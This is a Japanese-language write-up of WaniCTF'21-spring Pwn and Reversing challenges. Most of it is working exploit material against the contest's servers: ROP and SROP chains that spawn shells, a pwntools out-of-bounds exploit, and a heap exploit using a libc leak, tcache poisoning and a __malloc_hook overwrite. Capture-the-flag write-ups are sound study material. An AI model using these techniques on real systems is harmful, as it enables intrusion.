WaniCTF'21-spring Writeup
今年もWaniCTFに参加しました。昨年のWriteup
PwnとReversingだけ解きました。とても楽しかったです。
Pwn
01 netcat
nc
するとシェルが起動してます。
$ nc netcat.pwn.wanictf.org 9001 congratulation! please enter "ls" command ls chall flag.txt redir.sh cat flag.txt FLAG{this_is_the_same_netcat_problem_as_previous_one} exit
flag: FLAG{this_is_the_same_netcat_problem_as_previous_one}
02 free hook
int main() { init(); __free_hook = system; while (1) { command(); list_memos(); } }
__free_hook
がsystem
で書き換えられています。
これによってfree
が呼び出されたときにsystem
が呼び出されます。
よって, /bin/sh
のアドレスを引数にfree
を呼び出せば, system("/bin/sh")
が呼び出されることになります。
add memoで/bin/sh
を書き込んでdel memoすればシェルが起動します。
$ nc free.pwn.wanictf.org 9002 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 ls chall flag.txt redir.sh cat flag.txt FLAG{malloc_hook_is_a_tech_for_heap_exploitation} exit
flag: FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
03 rop machine easy
ROPを練習するツール。すごい。
使い方を参考にROPします。
x86_64なので第1引数をRDIに書き込みます。
$ nc rop-easy.pwn.wanictf.org 9003 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{this-is-simple-return-oriented-programming} exit
flag: FLAG{this-is-simple-return-oriented-programming}
04 rop machine normal
easyと同様にしてexecve("/bin/sh", 0, 0)
を実行します。
第2引数はRSI, 第3引数はRDXに書き込みます。
RAXにsyscall番号0x3bを書き込んでsyscallすることで実行されます。
$ nc rop-normal.pwn.wanictf.org 9004 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "pop rsi; ret" addr 4. append "pop rdx; ret" addr 5. append "pop rax; ret" addr 6. append "syscall; ret" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "pop rsi; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 4 "pop rdx; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 5 "pop rax; ret" is appended > 1 hex value?: 0x3b 0x000000000000003b is appended > 6 "syscall; ret" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rax; ret | +--------------------+ | 0x000000000000003b | +--------------------+ | syscall; ret | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{now-you-can-call-any-system-calls-with-syscall} exit
flag: FLAG{now-you-can-call-any-system-calls-with-syscall}
05 rop machine hard
Gadgetのアドレスを調べます。
$ ROPgadget --binary ./pwn05
使うアドレスは以下のようになりました。
pop rdi = 0x000000000040128f pop rsi r15 = 0x0000000000401611 pop rdx = 0x000000000040129c pop rax = 0x00000000004012a9 syscall = 0x00000000004012b6 binsh = 0x0000000000404078
normalと同様にROP chainを組みます。
$ nc rop-hard.pwn.wanictf.org 9005 [menu] 1. append hex value 8. show menu (this one) 9. show rop_arena 0. execute rop > 1 hex value?: 0x000000000040128f 0x000000000040128f is appended > 1 hex value?: 0x0000000000404078 0x0000000000404078 is appended > 1 hex value?: 0x0000000000401611 0x0000000000401611 is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0x000000000040129c 0x000000000040129c is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0x00000000004012a9 0x00000000004012a9 is appended > 1 hex value?: 0x3b 0x000000000000003b is appended > 1 hex value?: 0x00000000004012b6 0x00000000004012b6 is appended > 0 rop_arena +--------------------+ | 0x000000000040128f |<- rop start +--------------------+ | 0x0000000000404078 | +--------------------+ | 0x0000000000401611 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x000000000040129c | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x00000000004012a9 | +--------------------+ | 0x000000000000003b | +--------------------+ | 0x00000000004012b6 | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{y0ur-next-step-is-to-use-pwntools} exit
flag: FLAG{y0ur-next-step-is-to-use-pwntools}
06 SuperROP
BOFがあります。ただ, Gadgetがあまりないためこれまでの問題のようにROP chainは組めません。
RAXに0xfを書き込めるGadgetがあるためSROPをします。
buff
のアドレスが表示されるため, /bin/sh
をbuff
に書き込んで, RDIにbuff
のアドレスをセットします。
from pwn import * # p = process('pwn06') p = remote('srop.pwn.wanictf.org', 9006) e = ELF('pwn06') context.binary = e syscall = 0x40117e mov_rax = 0x40118c p.recvuntil('buff : ') buff = int(p.recvline()[:-1], 16) print(hex(buff)) frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = buff frame.rsi = 0 frame.rdx = 0 frame.rip = syscall payload = b'/bin/sh\x00' payload += b'A' * 0x40 payload += p64(mov_rax) payload += p64(syscall) payload += bytes(frame) p.sendline(payload) p.interactive()
flag: FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
07 Tower of Hanoi
以下の条件を満たせばフラグが表示されます。
int is_solved(int (*rod)[HANOI_SIZE]) { if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 && rod[2][HANOI_SIZE - 1] == HANOI_SIZE) return 1; else return 0; }
rod[1][HANOI_SIZE - 1]
は条件を満たしているため, rod[0][HANOI_SIZE - 1]
とrod[2][HANOI_SIZE - 1]
を何とかします。
if (abs(src) > 2 || abs(dst) > 2) { // ??? printf("That rod isn't where you can access!\n"); return; }
絶対値になっているため, src
とdst
を-1か-2にできます。
それによって, 以下で範囲外にアクセスできます。
if (rod[dst][pivot[dst]] != 0) pivot[dst]--; rod[dst][pivot[dst]] = rod[src][pivot[src]]; rod[src][pivot[src]] = 0;
各配列の位置関係は以下のようになっています。
0x7fffffffdc30: 0x0000000000000000 0x00007ffff7e60013 0x7fffffffdc40: 0x0000000000000069 0x00007ffff7fb86a0 0x7fffffffdc50: 0x0000555555556070 0x00007ffff7e5371a 0x7fffffffdc60: 0x00005555555557a0 0x00007fffffffde50 0x7fffffffdc70: 0x0000555555555180 0x00007fffffffdf40 0x7fffffffdc80: 0x0000000000000000 0x0000555555555676 0x7fffffffdc90: 0x0000000000000000 0x0000000000000000 0x7fffffffdca0: 0x0000000000000000 0x0000000000000000 0x7fffffffdcb0: 0x0000000200000001 0x0000000400000003 <- rod 0x7fffffffdcc0: 0x0000000600000005 0x0000000800000007 0x7fffffffdcd0: 0x0000000a00000009 0x0000000c0000000b 0x7fffffffdce0: 0x0000000e0000000d 0x000000100000000f 0x7fffffffdcf0: 0x0000001200000011 0x0000001400000013 0x7fffffffdd00: 0x0000001600000015 0x0000001800000017 0x7fffffffdd10: 0x0000001a00000019 0x0000001c0000001b 0x7fffffffdd20: 0x0000001e0000001d 0x000000200000001f 0x7fffffffdd30: 0x0000000000000000 0x0000000000000000 0x7fffffffdd40: 0x0000000000000000 0x0000000000000000 0x7fffffffdd50: 0x0000000000000000 0x0000000000000000 0x7fffffffdd60: 0x0000000000000000 0x0000000000000000 0x7fffffffdd70: 0x0000000000000000 0x0000000000000000 0x7fffffffdd80: 0x0000000000000000 0x0000000000000000 0x7fffffffdd90: 0x0000000000000000 0x0000000000000000 0x7fffffffdda0: 0x0000000000000000 0x0000000000000000 0x7fffffffddb0: 0x0000000000000000 0x0000000000000000 0x7fffffffddc0: 0x0000000000000000 0x0000000000000000 0x7fffffffddd0: 0x0000000000000000 0x0000000000000000 0x7fffffffdde0: 0x0000000000000000 0x0000000000000000 0x7fffffffddf0: 0x0000000000000000 0x0000000000000000 0x7fffffffde00: 0x0000000000000000 0x0000000000000000 0x7fffffffde10: 0x0000000000000000 0x0000000000000000 0x7fffffffde20: 0x0000000000000000 0x0000000000000000 <- rod[2][HANOI_SIZE - 1] 0x7fffffffde30: 0x0000003f0000003f 0x0000003f0000003f <- name 0x7fffffffde40: 0x0000001f00000000 0x000000000000001f <- rod_pivot
上のように, nameに0x3f(=(0x80*2-0x4)/4)を書き込んで, @C
を入力することで, rod_pivot[-1]=0x3f
, rod[-1][pivot[-1]]=rod[-1][0x3f]=0x20
となり, rod[0][HANOI_SIZE - 1]
とrod[2][HANOI_SIZE - 1]
が条件を満たします。
from pwn import * # p = process('pwn07') p = remote('hanoi.pwn.wanictf.org', 9007) payload = p32(0x3f) * 4 p.sendafter('Name : ', payload) p.sendlineafter('Move > ', '@C') p.interactive()
$ python3 solve.py [+] Opening connection to hanoi.pwn.wanictf.org on port 9007: Done [*] Switching to interactive mode Moving... Moved 32 from @ to C Top and bottom of the each rod A B C 1 0 32 ............... 0 0 32 Move > $ DD Moving... That rod isn't where you can access! How fast you are!! FLAG{5up3r_f457_h4n01_501v3r}
flag: FLAG{5up3r_f457_h4n01_501v3r}
08 Gacha Breaker
libc leak
int* gacha(int** list, int n, int k, int* count) { int* gacha_result; int prob_man; // Probability Manipulaton : increase possibility of overlapped // result srand(time(0)); printf("Doki Doki .....\n"); sleep(1); gacha_result = malloc(sizeof(int) * k); printf("Your gacha No.%d\nresults :", n); prob_man = (1 < k - 4 ? k - 4 : k); for (int i = 0; i < prob_man; i++) { gacha_result[i] = rand() % 0x10000; printf(" [%#x]", gacha_result[i]); } for (int i = prob_man; i < k; i++) { // 0 ~ 4 if (n > 1 && count[n - 2] > 3) gacha_result[i] = list[n - 2][k - i - 1]; else gacha_result[i] = rand() % 0x10000; printf(" [%#x]", gacha_result[i]); } printf("\n\n"); return gacha_result; }
k
が6以上の場合, n-2
番目のチャンクの内容をn
番目のチャンクに書き込めます。
以下の順でgachaとfreeをします。()内の数は何番目のチャンクかを示しています。
- Unsorted binに繋がるように1200でgacha (0)
- 0x30のチャンクを作るために10でgacha (1)
- free (0)がUnsorted binに, (1)がtcacheに繋がれる。
- 10でgacha (2) Unsorted binに繋がれている0番目のチャンクの内容が書き込まれる。
2番目のチャンクにmain_arena
のアドレスが書き込まれます。
以上から計算によってlibcのアドレスがわかります。
Overwrite __malloc_hook
ceilingでUse After Freeができます。
tcache poisoningで__malloc_hook
を書き換えます。(__free_hook
だと失敗した。)
以下の順でgachaとfreeとceilingをします。
- 10でgacha (3)
- free 0x30のtcacheは (2) -> (3)となる。
- ceilingで(2)に
__malloc_hook
を書き込む。0x30のtcacheは (2) ->__malloc_hook
となる。 - 10でgacha (4) (2)の領域が返る。
- 10でgacha (5)
__malloc_hook
が返る。 - ceilingで(5)にOne Gadgetを書き込む。
- 1でgacha (6) シェルが起動する。
from pwn import * # p = process('pwn08') # p = remote('localhost', 7777) # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = remote('gacha.pwn.wanictf.org', 9008) libc = ELF('libc-2.31.so') one_gadget = [0xe6c7e, 0xe6c81, 0xe6c84] def gacha(count): p.sendlineafter('>', '1') p.sendlineafter('times? :', str(count)) def view(): p.sendlineafter('>', '2') p.recvuntil('Gacha\n') return p.recvline() def clear(): p.sendlineafter('>', '3') def ceiling(a, b, c): p.sendlineafter('>', '4') p.sendlineafter('>', str(a)) p.sendlineafter('>', str(b)) p.sendlineafter('>', str(c)) gacha(1200) gacha(0x28//4) clear() gacha(0x28//4) leaks = view().decode().split(' ') libc.address = int(leaks[-3][1:-1]+leaks[-2][3:-1], 16) - 0x1ebbe0 print(hex(libc.address)) # for i in range(4): # gacha(1) # gacha(0x28//4) gacha(0x28//4) clear() ceiling(2, 0, int(hex(libc.symbols['__malloc_hook'])[-8:], 16)) ceiling(2, 1, int(hex(libc.symbols['__malloc_hook'])[2:6], 16)) gacha(0x28//4) gacha(0x28//4) ceiling(5, 0, int(hex(libc.address + one_gadget[1])[-8:], 16)) ceiling(5, 1, int(hex(libc.address + one_gadget[1])[2:6], 16)) gacha(1) p.interactive()
flag: FLAG{G4ch4_15_3v1l_bu7_c4n7_5t0p}
Reversing
secret
strings
するとkeyぽい文字列が見つかりました。
$ strings ./secret Input secret key : Incorrect wani_is_the_coolest_animals_in_the_world! Correct! Flag is %s
入力したらフラグが出力されました。
$ ./secret ▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄ █ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐ ▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █ ▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █ █▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀ ▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █ ▐ ▐ ▐ ▐ Input secret key : wani_is_the_coolest_animals_in_the_world! Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
flag: FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute
main.sを読むとスタックに何か書き込んで出力していることがわかります。
デコードするとフラグがわかります。
l = [7941081424088616006, 7311705455698409823, 3560223458505028963, 35295634984951667] flag = "" for i in l: s = reversed(bytes.fromhex(hex(i)[2:]).decode()) for c in s: flag += c print(flag)
flag: FLAG{c4n_y0u_execu4e_th1s_fi1e}
timer
timerが終わらないのでGDBでスキップします。
gdb-peda$ disas main Dump of assembler code for function main: 0x00000000000014ef <+0>: endbr64 0x00000000000014f3 <+4>: push rbp 0x00000000000014f4 <+5>: mov rbp,rsp 0x00000000000014f7 <+8>: call 0x141a <show_description> 0x00000000000014fc <+13>: call 0x149d <timer> 0x0000000000001501 <+18>: call 0x1170 <super_complex_flag_print_function> 0x0000000000001506 <+23>: mov eax,0x0 0x000000000000150b <+28>: pop rbp 0x000000000000150c <+29>: ret End of assembler dump. gdb-peda$ b *main+13 gdb-peda$ r gdb-peda$ jump *main+18 The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"
flag: FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}
licence
Ghidraでデコンパイルすると, check
でライセンスファイルの内容をチェックしていることがわかります。しかし, check
は複雑で自力で解析するのは厳しいので, 問題文にもあるようにangrを使いました。ただ、脳死angrしかやったことがなかったためいろいろ参考にさせて頂きました。
参考1
参考2
import angr import claripy addr = 0x405e66 input_path = './key.dat' proj = angr.Project('./licence', load_options={"auto_load_libs": False}) state = proj.factory.entry_state(args=[proj.filename, input_path]) simgr = proj.factory.simulation_manager(state) simgr.explore(find=addr) state = simgr.found[0] print(state.posix.dump_file_by_path(input_path))
flag: FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}